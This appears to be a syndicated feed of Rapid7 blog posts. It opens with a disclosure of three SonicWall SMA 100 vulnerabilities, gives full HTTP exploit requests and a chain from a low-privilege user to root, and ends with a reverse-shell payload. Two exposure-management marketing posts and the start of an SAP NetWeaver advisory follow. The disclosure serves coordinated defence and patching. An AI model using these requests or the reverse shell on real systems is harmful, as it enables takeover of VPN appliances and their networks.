Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

With our console root shell, we can see that the root-owned /tmp/rootfile file has been deleted.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

This can be leveraged to delete the /etc/EasyAccess/var/conf/persist.db file, which is the primary web server SQLite database. When that happens, the system will reboot and reset the SMA administrator password to “password”. Based on known (private) IOCs and Rapid7 incident response investigations, we believe that this specific technique may have been used in the wild.

CVE-2025-32820

An authenticated attacker with user-level low privileges can inject a path traversal sequence to an arbitrary directory on the SMA appliance to make it world-writable. This can be chained with CVE-2025-32819 and CVE-2025-32821 to establish root-level remote code execution on the SMA research target running 10.2.1.14-75sv. Additionally, if a file path is provided, any existing file on the system can be overwritten with junk contents as root, creating a persistent denial of service condition.

Let’s investigate this now. In authentication_api/client/__init__.py, we observe authentication checks implemented in before_request ([G]).

@application.before_request
def before_request():
    logLevl = Logger.getLogLevel()
    application.logger.setLevel(logLevl)
    current_app.logger.info("{} {}".format(request.method, request.script_root + request.path))
    Authorize.authorization_check(request, current_app.logger, False) # [G]

This authorization_check function is similar to the one we previously looked at. However, this function is implemented in Python, within smaauthorize.py, instead of in a C shared library. Below, we can see this logic. The third parameter is called requireAdmin, and it defaults to True ([H]). In this case, though, the call within before_request explicitly states that low-privilege users should be allowed via the False parameter input. The authorization code queries the primary web SQLite database to determine whether the user’s swap session cookie exists in the database ([I]). If so, the request will succeed.

  @staticmethod
    def authorization_check(request, logger, requireAdmin = True): # [H]
        if (API_UNIT_TEST_MODE):
            return

        sessionId = request.cookies.get(AP_COOKIE_NAME)

        if (sessionId == None):
            logger.info("Login failed. No valid sessionId from cookie.")
            raise Unauthorized(AUTHORIZE_FAIL)

        temp_db_session = Session()
        sessionId_decoded = base64.b64decode(sessionId).decode()
        sslvpn_session = temp_db_session.query(SmaSession).filter(SmaSession.sessionId == sessionId_decoded).first() # [I]
        if (sslvpn_session == None):
            temp_db_session.close()
            logger.info("Login failed. No valid session. sessionId = {}, sessionId_decoded = {}".format(sessionId, sessionId_decoded))
            raise Unauthorized(AUTHORIZE_FAIL)

        # touch session
        sslvpn_session.activityTimestamp = int(time.time())
        temp_db_session.commit()
        temp_db_session.refresh(sslvpn_session)
        temp_db_session.close()

        # authorization check
        Authorize.sessionStatusCheck(logger, sslvpn_session)
        Authorize.userTypeCheck(logger, requireAdmin, sslvpn_session)
        Authorize.CSRFTokenCheck(logger, requireAdmin, sslvpn_session)

There are a few different API endpoints that can be reached as our low-privilege user. That list is depicted below:

clientApi.add_resource(NxDisconnectInfoResource, '/nxdisconnectinformation')
clientApi.add_resource(NxPostConnectionScriptResource, '/nxpostconnectionscript')
clientApi.add_resource(NxPostConnectionScriptFileResource, '/nxpostconnectionscript/file')
clientApi.add_resource(NxVersionResource, '/nxversion')
clientApi.add_resource(VpnParametersResource, '/vpnparameters')
clientApi.add_resource(SessionStatusResource, '/sessionstatus')
clientApi.add_resource(AlwaysOnResource, '/alwayson')
clientApi.add_resource(RecurringEpcProfileResource, '/recurringepcprofile')
clientApi.add_resource(BookmarkDetailListResource, '/bookmarkdetails')
clientApi.add_resource(ConnectionProxyResource, '/connectionproxy')
clientApi.add_resource(AdLogonScriptResource, '/adlogonscript')

The NxPostConnectionScriptFileResource endpoint sounds promising, since it deals with file operations. Within nxpostconnectionscript.py, we find the API endpoint logic for POST requests. A file input parameter called upfile is expected ([J]). A sanitized file name is extracted using secure_filename (to prevent path traversal) and assigned to the tmp_file variable ([K]). Then, the file contents are stored in tmp_file’s location. A file operation command is also executed using os.system, with the tmp_file argument sanitized using shlex.quote to prevent command injection ([L]).

This is all handled well. However, while the tmp_file path was created safely, the application later needs to reference just the file name without the prepended /tmp directory. In order to do so, it defines a new filePath variable by directly concatenating the unsanitized file.filename string with a different directory path ([M]). This is then wrapped in shlex.quote, appended to the string “chmod 777 ”, and executed using os.system ([N]). No command injection is possible, since the command string is appropriately escaped. Despite this, shlex.quote does not remove path traversal sequences, so a relative traversal file name can be supplied by the attacker to execute “chmod 777” as root on any path of the attacker’s choosing.

   @swagger.doc(postDocument)
    def post(self):
        post_reqparser = reqparse.RequestParser()
        post_reqparser.add_argument('upfile', required = True, type = FileStorage, location = 'files') # [J]
        args = post_reqparser.parse_args()

        [..SNIP..]

        # store file in /tmp for examination
        file = request.files['upfile']
        tmp_file = '/tmp/' + secure_filename(file.filename) # [K]
        file.save(tmp_file)

        fileSize = os.stat(tmp_file).st_size
        if (fileSize > smaApi.MAX_SCRIPT_FILE_LEN or fileSize == 0):
            cmd = "rm -rf {}".format(shlex.quote(tmp_file)) # [L]
            os.system(cmd)
            raise BadRequest(getMessage(API_ERR_CODE_CLIENT_FILE_SIZE_INVALID).format(int(smaApi.MAX_SCRIPT_FILE_LEN / 1024)))

        # check dir exists or not and if not create it
        if (not os.path.exists(smaApi.POST_SCRIPTS_DIR)):
            cmd = "mkdir {}; chmod 777 {}".format(shlex.quote(smaApi.POST_SCRIPTS_DIR), shlex.quote(smaApi.POST_SCRIPTS_DIR))
            os.system(cmd)
        
        if (not os.path.exists(smaApi.POST_SCRIPTS_DESC_DIR)):
            cmd = "mkdir {}; chmod 777 {}".format(shlex.quote(smaApi.POST_SCRIPTS_DESC_DIR), shlex.quote(smaApi.POST_SCRIPTS_DESC_DIR))
            os.system(cmd)

        # move file to its destination
        cmd = "mv {} {}".format(shlex.quote(tmp_file), shlex.quote(smaApi.POST_SCRIPTS_DIR))
        os.system(cmd)
        filePath = smaApi.POST_SCRIPTS_DIR + '/' + file.filename # [M]
        cmd = "chmod 777 {}".format(shlex.quote(filePath)) # [N]
        os.system(cmd)
[..SNIP..]

Exploitation

This is a niche primitive, since we do not control the command being executed. Fortunately, making any directory world-writable is exactly what we need to weaponize CVE-2025-32821, our arbitrary low-privilege file write as nobody. We’ll perform a web request to the vulnerable API endpoint as the lowpriv user. In that request, we’ll set upfile to a relative traversal sequence into /bin, which is on the root user’s PATH.

POST /__api__/v1/client/nxpostconnectionscript/file HTTP/1.1
Host: 192.168.181.150
Cookie: swap="MUZTMTExT29UVW1UZ0p2aURTQThWYzlLTmV3TEp3dGR5a0FzR3h6aEY2RT0="; swcctn=kg02nQOWI0JEdgI9OyK4i2EJyvP0Zfy0
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIpPybfdplJ1hIwzq
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Length: 213

------WebKitFormBoundaryIpPybfdplJ1hIwzq
Content-Disposition: form-data; name="upfile"; filename="../../../../../../../../../bin/"

01
------WebKitFormBoundaryIpPybfdplJ1hIwzq--

Our pspy monitor logs two commands being executed as root. The first command’s file path is sanitized using secure_filename, but the second is only sanitized using shlex.quote, resulting in a traversal to /bin.

CMD: UID=0     PID=15082  | sh -c mv /tmp/bin /usr/src/EasyAccess/var/conf/postscripts
CMD: UID=0     PID=15083  | sh -c chmod 777 /usr/src/EasyAccess/var/conf/postscripts/../../../../../../../../../bin/

Exploitation is confirmed with our console root shell, which shows that the /bin directory is now world-writable.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

CVE-2025-32821

An authenticated attacker with administrator privileges can inject shell command arguments with an escape sequence to upload a fully controlled file anywhere that the nobody user can write to. This can be chained with CVE-2025-32820 to establish root-level remote code execution on the SMA research target running 10.2.1.14-75sv. It’s also possible to copy existing files that the nobody user can read, such as /etc/passwd or the application’s SQLite database, to the web root directory for data exfiltration.

We’ll start by taking a look at the main function in /cgi-bin/importlogo.

After confirming the user is an authenticated administrator and the HTTP method is “POST”, the application checks for the presence of an integer parameter called updateFavicon ([O]). If this is set to “1”, and if the defaultFavicon parameter is “0”, the application will call FUN_0804a0f0 with the first argument set to a FILE pointer from the multipart form file parameter called favicon1 ([P]). After confirming some basic validation checks, such as file size, the FUN_0804a0f0 function will write the uploaded file to disk at /usr/src/EasyAccess/www/htdocs/themes/favicon1.ico. Next, the portalName POST parameter is fetched and passed through safeSystemCmdArg2 ([Q]). This is a security function that searches for command injection characters, such as $, \n, ;, |, <, >, ^, and `. If any of those characters are detected, the function will return a truncated string of the characters up to that point. Then, a format string is created with the sanitized portalName value to craft the shell command string cp -f /usr/src/EasyAccess/www/htdocs/themes/favicon1.ico /usr/src/EasyAccess/uiaddon/{portalName_VALUE}/favicon.ico ([R]) and the command is executed via system_s_quiet ([S]), which is a wrapper for system that runs in the context of nobody.

[..SNIP..]
  if (initCgi() < 0) {
    return -1;
  }

  getCookie("swap",cookieBuffer);

  initClientApi();
  cspInit();

  reqMethod = (char *)gcgiFetchEnvVar(4);
  uVar9 = dbhGet(0);

  sessionHandle = sessionGetAndRefresh(uVar9,cookieBuffer);

  if (sessionHandle == 0) {
    gcgiSendStatus(401);
    return 0;
  }
  respJson = cJSON_CreateObject();
  messageJsonArray = cJSON_CreateArray();

  if ((respJson == 0) || (messageJsonArray = 0)) {
    return 0;
  }

  maybeResult = userRolePermissionCheck(sessionHandle,reqMethod);
  if (maybeResult == 1) {
    pcVar5 = "You have no permission to view this page";

LAB_0804948a:
    addWarningMessage(messageJsonArray,"error",pcVar5);
  }
  else {
    if (maybeResult == 2) {
      pcVar5 = "Read-only administrator";
      goto LAB_0804948a;
    }

    if (maybeResult == 0) {
      maybeResult = strcmp(reqMethod,"POST");

      if (maybeResult != 0) goto LAB_080493e8;

      if (doCSRFTokenCheck(sessionHandle) != 1) {
        exit(-1);
      }

      setuid(0);
      setgid(0);
      seteuid(0);
      setegid(0);
      
      gcgiFetchInteger("updateFavicon",&updateFaviconFlag,0);
      
      if (updateFaviconFlag == 1) { // [O]
        maybeResult = gcgiFetchInteger("defaultFavicon",&useDefaultFavicon,0);
        bVar1 = nullptr;

        if (useDefaultFavicon == 0) {
          maybeResult = FUN_0804a0f0("favicon1","favicon1.ico",maybeResult); // [P]
          bVar1 = 0 < maybeResult;
        }

        maybeResult = gcgiFetchString("portalName",portalNameBuffer,0x80);

        if (maybeResult == 0) {
          if (useDefaultFavicon == 0) { 
            if (bVar1) {
              uVar9 = safeSystemCmdArg2(portalNameBuffer,"-"); // [Q]
              baseInstallDir = "/usr/src/EasyAccess";
              __snprintf_chk(pcVar5,0x180,1,0x180,
                             "cp -f %s/www/htdocs/themes/favicon1.ico %s/uiaddon/%s/favicon.ico",
                           "/usr/src/EasyAccess","/usr/src/EasyAccess",uVar9,"/usr/src/EasyAccess"
                            ); // [R]
              system_s_quiet(pcVar5); // [S]
[..SNIP..]

Note that the provided portal name is not validated as a legitimate web portal name at any point in the code path thus far–it’s checked against valid portal names if updateFavicon is not set. So, we don’t need to provide a valid portal name. Additionally, although the portal name is sanitized for command injection characters, it is not sanitized for path traversals, it is not URL encoded, and hash symbols are not truncated. As a result, an attacker can provide a portalName value with a traversal sequence to a different file path, followed by a space and a hash symbol to escape “/favicon.ico”.

The result is that the attacker can upload their own fully controlled file and exploit the limited command injection to write it with any file name they’d like to any directory that nobody can write to.

Exploitation

We can perform the web request depicted below to exploit this arbitrary file write.

POST /cgi-bin/importlogo HTTP/1.1
Host: 192.168.181.150
Cookie: ajaxUpdates=OFF; swap="NVlSSVc1MVdtb0syYWFybFdUdHFEcG9hRjZpMWlyaThlY0FmdlNQRlRhOD0="; swcctn=aXJANYBXJMy46YLSIApSwSoRIWkYRkR5
Content-Length: 554
Sec-Ch-Ua-Platform: "Windows"
X-Csrf-Token: aXJANYBXJMy46YLSIApSwSoRIWkYRkR5
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXOj6BtGNhEubdWvN
Origin: https://192.168.181.152
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.181.152/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="portalName"

../../../../../../usr/src/EasyAccess/www/htdocs/test.txt #
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="defaultFavicon"

0
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="updateFavicon"

1
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="favicon1"; filename="TESTING.gif"
Content-Type: image/gif

CONTENT
------WebKitFormBoundaryXOj6BtGNhEubdWvN--

Our pspy monitor logs the following command being executed as UID 99 (nobody).

2025/05/01 12:10:47 CMD: UID=99    PID=3243   | sh -c cp -f /usr/src/EasyAccess/www/htdocs/themes/favicon1.ico /usr/src/EasyAccess/uiaddon/../../../../../../usr/src/EasyAccess/www/htdocs/test.txt #/favicon.ico 2>/dev/null

As expected, the test.txt file has been written to the web root.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

We also note that the uploaded file has the executable bit set by default.

# ls -lha /usr/src/EasyAccess/www/htdocs/test.txt
-rwx------ 1 nobody nobody 7 May  1 12:10 /usr/src/EasyAccess/www/htdocs/test.txt

This detail is useful for exploitation, since it will facilitate easily writing an executable file to a directory on the root PATH for arbitrary remote code execution.

Chained Impact

The vulnerabilities disclosed in this document permit an attacker with SMA SSLVPN low-privilege user credentials to perform the following five steps:

  1. Exploit CVE-2025-32819 to delete the primary SQLite database and reset the password of the default SMA admin user.
  2. Login as admin to the SMA web interface.
  3. Exploit CVE-2025-32820 to make the SMA appliance’s /bin directory world-writable.
  4. Exploit CVE-2025-32821 to write the file /bin/lsb_release. This executable is not installed by default, but we observed that an automated job on the appliance routinely attempts to execute it as root every few minutes.
  5. Wait for sh -c lsb_release to be executed automatically. When this happens, the attacker gains root-level remote code execution on the SMA device.

Demonstration

We’ll start by grabbing our low-privilege user’s cookies in our “assumed breach” scenario. This cookie string is swap="ZHNZZThVdlJzWHY1MkpWTDM0akFjbG9XWFgyd29Hdk1yVEtPZWdzSnJlbz0="; swcctn=LEj9kOzEjYibGOSEW9YE8ElgWwiOgigN.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

Now, let’s reset the administrator’s password by exploiting CVE-2025-32819 and deleting the primary SQLite database. The SMA returns a 200 status with no body.

GET /fileshare/sonicfiles/?User=admin&Pass=null&Domn=&RacNumber=44&Arg1=smb://192.168.200.1/test/&Arg2=null&swcctn=../usr/src/EasyAccess/www/python/authentication&timestamp=api/../../../../../../usr/src/EasyAccess/var/conf/persist.db HTTP/1.1
Host: 192.168.181.150
Cookie: swap="ZHNZZThVdlJzWHY1MkpWTDM0akFjbG9XWFgyd29Hdk1yVEtPZWdzSnJlbz0="; swcctn=LEj9kOzEjYibGOSEW9YE8ElgWwiOgigN
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

Refreshing the web page confirms it worked, though the application is not thrilled with our decision.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

After a few seconds, the watchdog has had enough and the device is rebooted. When we refresh the page a couple of minutes later, things are looking as good as new.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

After logging in using the credentials admin:password, we’re greeted with an end user product agreement, indicating that the device has been initialized.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

We’ll input a free trial license key to get the device back in a functional state, though a real attacker would probably use a stolen one. Next, we’ll use our CVE-2025-32820 PoC to make /bin writable. The server should return a 500 error with the message “Failed to create description file.”

POST /__api__/v1/client/nxpostconnectionscript/file HTTP/1.1
Host: 192.168.181.150
Cookie: swap="amZEMjA1cVYwNXRzWDFmcDgzcVhEb3NNM2hFMHE4a0FTOFZTQTlDeE1kaz0="; swcctn=bGhJ8EJ9GMmKG7d3MggEEgd8R59gyFSv
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIpPybfdplJ1hIwzq
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Length: 181

------WebKitFormBoundaryIpPybfdplJ1hIwzq
Content-Disposition: form-data; name="upfile"; filename="../../../../../../../../../bin/"

01
------WebKitFormBoundaryIpPybfdplJ1hIwzq--

Lastly, we’ll set our sights on remote code execution as root by exploiting CVE-2025-32821. We throw the reverse shell PoC below at our victim and it responds with a 200 code and “success” in the body. Note that a hash symbol is also appended to our executable file contents; this is added because the file write occasionally seems to append a junk character to our command, though it doesn’t happen every time. In order to avoid any unexpected additions, we escape the rest of the line.

POST /cgi-bin/importlogo HTTP/1.1
Host: 192.168.181.150
Cookie: swap="amZEMjA1cVYwNXRzWDFmcDgzcVhEb3NNM2hFMHE4a0FTOFZTQTlDeE1kaz0="; swcctn=bGhJ8EJ9GMmKG7d3MggEEgd8R59gyFSv
Content-Length: 567
Sec-Ch-Ua-Platform: "Windows"
X-Csrf-Token: bGhJ8EJ9GMmKG7d3MggEEgd8R59gyFSv
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXOj6BtGNhEubdWvN
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="portalName"

../../../../../../bin/lsb_release #
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="defaultFavicon"

0
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="updateFavicon"

1
------WebKitFormBoundaryXOj6BtGNhEubdWvN
Content-Disposition: form-data; name="favicon1"; filename="TESTING.gif"
Content-Type: image/gif

bash -i >& /dev/tcp/192.168.181.129/4242 0>&1 #
------WebKitFormBoundaryXOj6BtGNhEubdWvN--

One minute later, our reverse shell arrives and root-level remote code execution is confirmed.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

Disclosure timeline

  • May 2, 2025: Rapid7 shares vulnerability details with SonicWall security contacts. The SonicWall team acknowledges the disclosure 30 minutes later and confirms that patch development work will begin.
  • May 4, 2025: The SonicWall security team states that a fixed build will be shared on May 5 for patch validation.
  • May 5, 2025: The SonicWall security team shares the 10.2.1.15 build with Rapid7. The Rapid7 team validates that the patch is effective.
  • May 6, 2025: The SonicWall security team states that the patch will be targeting a May 7 release date.
  • May 7, 2025: SonicWall releases v10.2.1.15 and publishes a security advisory. After confirming the patch is generally available, Rapid7 publishes this disclosure.

Exploring an Untethered, Unified Approach to CTEM

Post Syndicated from Joel Alcon original https://blog.rapid7.com/2025/05/07/exploring-an-untethered-unified-approach-to-ctem/

Exploring an Untethered, Unified Approach to CTEM

We live in a world where traditional Vulnerability Management (VM) has become infosec’s version of ‘whack-a-mole’— an attempt to tackle risks that constantly shift, multiply, and morph. As organizations push workloads to the cloud, offer customers digital experiences, or as they build AI-enabled applications across  their business, the attack surface expands exponentially. For decades, security teams have relied on traditional network and endpoint-based scanners to discover and patch CVEs, but the reality is attackers don’t think in terms of “CVEs”—they think in attack paths.

The most successful hackers increase the blast radius and impact of their attacks by connecting key dots across your organization:

  • Weak access controls to high-privilege users.
  • Misconfigurations to mission-critical assets.
  • Known exploits to number of impacted systems.

To tame this complicated, quickly-evolving threat landscape, security teams are moving from ticking boxes for vulnerabilities patched, to understanding, contextualizing, and preempting real-world threats before they become breaches. The strategic shift has fueled the rise of Risk-Based Vulnerability Management (RBVM) and Continuous Threat Exposure Management (CTEM).

However, many organizations implement these approaches through an array of point security solutions – vulnerability scanners, endpoint detection software, penetration testing – and feed this data into one or more aggregation tools (usually SIEMs). This fragmented approach has inadvertently paved the way for tool sprawl, operational silos, and security blind spots. In this blog, I’ll explore why RBVM and CTEM have become essential security strategies, common mistakes that organizations make in implementation, and why these shortcomings have fueled the demand for unified exposure management.

RBVM helps teams prioritize remediation based on exploitability, criticality, and threat intelligence, rather than relying solely on CVE severity scores. RBVM solutions typically ingest data from vulnerability scanners, external threat feeds, endpoint detection systems, and other security tools. Security analysts then correlate key findings against SIEM tools to determine which vulnerabilities are actively being exploited in their environment.

The key benefit? This approach reduces alert noise because it filters out low-risk vulnerabilities, enabling security teams to focus remediation efforts on the most critical threats.

However, RBVM approaches come with significant drawbacks:

  • RBVM tools are not designed to perform scans or produce threat intel themselves.
  • Teams must integrate RBVM solutions into their existing security stack (SIEM, SOAR, EDR, cloud security tools) – a process that’s often complex, time-consuming, and costly.
  • Most critically, if there are assets that the RVBM services have no visibility into, they will not produce risk scores for them, creating an incomplete picture of your attack surface and inaccurate representation of true business threats.

The evolution to CTEM

To continuously assess and validate exposures across the entire attack surface, organizations are turning to CTEM as a proactive strategy for mitigating ongoing risk. With real-time, continuous visibility into the attack surface and attack paths, security teams can prioritize remediation efforts based on the risks that impact business-critical systems. Despite the benefits of this more advanced approach, implementing CTEM with fragmented security tools creates significant challenges:

Misleading view of the attack surface.

Your security stack may have top-tier vulnerability scanners, EDR solutions, and CSPM tools, but if these tools aren’t talking to each other, you end up with an incomplete view of the attack paths that hackers would take. Leading CTEM approaches are underpinned by platforms that go beyond CVEs by incorporating misconfigurations, cloud entitlements, shadow IT, lateral movement risks, and application security gaps to provide a comprehensive view of the attack surface.

Lacking business content and impact analysis for prioritization.

Security teams have to sort through alerts, false positives, and vulnerability scan results that often lack business context. Without a unified platform connecting vulnerability findings with risk scores and business impact, teams will struggle to accurately prioritize risk, leaving them spending valuable time remediating issues that do not actually impact business-critical systems. Organizations need to look across the entire attack surface, including internal and external-facing attack vectors, as well as telemetry signals like weak identity and access controls.

Silos hinder incident response.

Vulnerability dashboards and reports do not depict how an adversary would exploit a vulnerability. Organizations need an in-depth view of the attack path to understand, for example, how misconfigurations can result in disruptive domain compromise in the event of a breach. This insight helps security teams identify interconnected systems and organizational peers (e.g., application owners, cloud architects, developers, engineers, etc.) that they will need to coordinate with in case there is a breach.

The driving force for a unified exposure management platform

According to the 2023 Gartner® Technology Adoption Roadmap for Large Enterprises Survey, cybersecurity leaders indicated that on average their organizations had 43 tools in their cybersecurity product portfolios, and 5% of the leaders indicated their organizations had over 100 tools.” We believe that managing that many tools can be overwhelming, especially because security teams often operate their tools in silos. The ensuing sprawl creates blind spots that attackers can easily exploit. Instead of juggling multiple disconnected tools, forward-thinking organizations are embracing a unified approach to exposure management with comprehensive platforms that deliver:

  • Vulnerability management
  • CASM
  • EASM
  • Cloud security
  • Identity security
  • Threat intelligence

Because many high-profile breaches start with compromised credentials or excessive privileges, the ideal exposure management platform maps critical assets against users with weak authentication protocols.

Security teams can no longer rely on a scan-and-patch approach; they need to stay ahead of attackers by continuously identifying, validating, and mitigating risks across the entire attack surface. If your security tools aren’t fully integrated, attackers will exploit what’s left exposed. CISOs, security architects, and SOC leaders are tackling this challenge by moving beyond traditional VM and adopting a unified exposure management strategy with Rapid7’s Exposure Command Platform.

Connecting the dots with Exposure Command

Unlike traditional standalone VM, CASM, EASM, SIEM, or EDR tools that rely on proprietary agents, Exposure Command from Rapid7 brings it all together into one platform. With an inside-out and outside-in view of your risks, combined with trusted threat intelligence and a vendor agnostic approach to vulnerability aggregation, security teams gain a complete, end-to-end view of their attack surface.

Rapid7’s all-in-one Exposure Command platform goes even further by automatically mapping users, authentication protocols, and the criticality of the systems they can access. Armed with deep visibility into vulnerabilities and their impact to the business, organizations can leverage Rapid7’s Remediation Hub to address the risks that have the largest impact on their overall risk posture.

The paradigm has shifted – it’s no longer about chasing vulnerability patches, but about taking command and reducing risk across the business.

Ready to see the difference a unified approach can make? Check out the Rapid7 Exposure Command product trial to learn more about our platform and dive deeper into our unified, modern approach to managing risk and remediating security threats.

Gartner, Infrastructure Security Primer for 2025, John Watts, Franz Hinner, 29 January 2025 (For Gartner subscribers only)

GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.

Three Takeaways from the Gartner® Report: How to Grow Vulnerability Management Into Exposure Management

Post Syndicated from Rapid7 original https://blog.rapid7.com/2025/04/30/three-takeaways-from-the-gartner-r-report-how-to-grow-vulnerability-management-into-exposure-management/

Three Takeaways from the Gartner® Report: How to Grow Vulnerability Management Into Exposure Management

Security leaders today face a harsh reality: traditional vulnerability management isn’t enough. Threat actors are evolving, attack surfaces are expanding, and organizations need a more proactive approach to stay ahead of risk. Latest research from Gartner, How to Grow Vulnerability Management Into Exposure Management, highlights the need for security teams to move beyond simply tracking vulnerabilities and embrace a more comprehensive approach to exposure management.

At Rapid7, we are excited to offer complimentary access to this report and share our three key takeaways to help you modernize your security strategy.

Takeaway 1: Vulnerability Lists Aren’t Enough—You Need Continuous Threat Exposure Management (CTEM)

Gartner states: “Creating prioritized lists of security vulnerabilities isn’t enough to cover all exposures or find actionable solutions. Security operations managers should go beyond vulnerability management and build a continuous threat exposure management program to more effectively scope and remediate exposures.”

CTEM shifts the focus from merely identifying vulnerabilities to understanding the full picture of organizational risk. It integrates asset visibility, business impact analysis, attack surface monitoring, and validation of security controls to help organizations assess and reduce their true exposure to threats.

Takeaway 2: Exposure Management Requires Business Context

One of the biggest challenges in vulnerability management today is that many security teams focus too much on discovering issues without evaluating their impact on the business. Gartner highlights the importance of integrating business context into security operations, stating that “adding a business context, such as asset value and impact of compromise, to exposure management activities can improve senior leadership engagement.”

By aligning security initiatives with business priorities, organizations can:

  • Focus on the vulnerabilities that pose the greatest risk to critical operations
  • Improve communication with senior leadership and stakeholders
  • Justify security investments with real business impact

Takeaway 3: Attack Surface Visibility Must Keep Up With Digital Evolution

Modern attack surfaces extend far beyond on-premises IT. The rise of cloud applications, IoT, supply chain dependencies, and remote work environments has dramatically increased the number of potential entry points for attackers. Gartner emphasizes that “current approaches to attack surface visibility are not keeping up with the rapid pace of digital evolution. Organizations must quickly reduce exposure to make their public-facing assets less visible and accessible.”

This means security teams need to enhance their discovery processes to:

  • Continuously monitor both their internal and external attack surface
  • Identify misconfigurations, exposed assets, emerging threats, and weak access controls (e.g., credentials, risky users)
  • Implement proactive security measures to reduce overall exposure

How Rapid7 Aligns with Gartner Exposure Management Vision

At Rapid7, we believe in empowering security teams with the tools and insights they need to shift from reactive vulnerability management to proactive exposure management. Our Exposure Management solution helps organizations:

  • Gain real-time visibility into evolving attack surfaces
  • Prioritize threats based on business impact and exploitability
  • Continuously validate security controls through adversarial exposure testing

As threats continue to evolve, organizations must rethink how they approach vulnerability management. Gartner research provides a roadmap for security leaders looking to implement a comprehensive exposure management strategy.

Download the full Gartner report today to learn how you can modernize your security program and stay ahead of threats.

Garter, How to Grow Vulnerability Management Into Exposure Management, Michell Schneider, Jeremy D’Hoinne, Jonathan Nunez, Craig Lawson, 8 November 2024

GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.

Active exploitation of SAP NetWeaver Visual Composer CVE-2025-31324

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/

Active exploitation of SAP NetWeaver Visual Composer CVE-2025-31324

On Thursday, April 24, enterprise resource planning company SAP published a CVE (and a day later, an advisory behind login) for CVE-2025-31324, a zero-day vulnerability in NetWeaver Visual Composer that carries a CVSSv3 score of 10. The vulnerability arises from a missing authorization check in Visual Composer’s Metadata Uploader component that, when successfully exploited, allows unauthenticated attackers to send specially crafted POST requests to the /developmentserver/metadatauploader endpoint, resulting in unrestricted malicious file upload.

While the vulnerable component is not installed in NetWeaver’s default configuration, SAP security firm Onapsis notes that it is widely enabled.

Per SAP’s docs, Visual Composer “operates on top of the SAP NetWeaver Portal, utilizing the portal’s connector-framework interfaces to enable access to a range of data services, including SAP and third-party enterprise systems. In addition to accessing SAP Business Suite systems, users can access SAP NetWeaver Business Warehouse and any open/JDBC stored procedures.”

Rapid7-observed exploitation

